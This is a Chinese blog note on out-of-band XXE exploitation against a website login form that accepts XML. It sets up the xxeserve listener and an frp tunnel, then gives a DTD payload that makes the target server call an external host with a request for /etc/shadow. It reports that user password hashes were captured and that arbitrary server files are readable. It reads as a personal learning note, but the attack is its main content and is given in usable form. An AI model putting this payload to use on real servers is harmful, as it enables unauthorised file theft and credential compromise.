1. 程式人生 > >XXE進階——OOB攻擊

XXE進階——OOB攻擊

怕夜長夢多忘了,臨時做個筆記,日後深入展開探討。

之前我們在那些年的系列中已經講解過XXE了,這些日子隨便看見個XML都感覺有犯罪嫌疑,今天,終於在大佬的專案中見到了,藉此機會學習一下。
下圖是一個網站的登入視窗,隨便嘗試登入一下,發現使用者名稱密碼採用xml的格式進行上傳。
我們嘗試了下DTD,發現沒有被禁掉!行動!

 

  今日demo

 

我們使用正常邏輯進行嘗試!發現返回包並沒有存在可供我們操縱的任何資料。

 

 
正常邏輯


那麼,這裡我們的想法就是:伺服器既然無法給我們回顯資料,我們能不能嘗試將已構造好的引數,通過例如HTTP的方式返回到我們看得到的地方?
於是,就有了我們今天的主題:Out of Band,OBB攻擊,即資料外帶。
如果自己開發能力不足的話,這裡給大家安利一個小工具:xxeserve

https://github.com/joernchen/xxeserve

是基於ruby開發的,如果懶於自己搭建ruby runingtime,那就丟了parrot上吧。
那麼這裡還有一個問題,就是我們的pc出於內網,如何正常接受返回的資料呢?真相早就提過了:frp!

#frpc.ini
[xxe]
type = tcp
local_ip = 127.0.0.1
local_port = 2333
remote_port = 2333
#DTD
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://*.*.*.*:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>

執行xxeserve,在指定埠進行監聽:

 

  xxeserve

 

傳送構造好的payload,雖然發現xml解析錯誤的提示:

 

  傳送payload


但是,xxeserve卻成功監聽到了我們想要讀取的檔案,如圖中的使用者hash:

  xxeserve監聽

如果你要問我們今天實現了什麼?emmmmm,我們看到一個網站的登入介面,然後什麼也不知道,但我們可以直接任意讀取該伺服器上檔案,如passwd、shadow等。

今天只是簡單梳理下思路,XXE的高階玩法果然比我想想的要多,關於手工OOB的利用今天並沒有成功,擇日~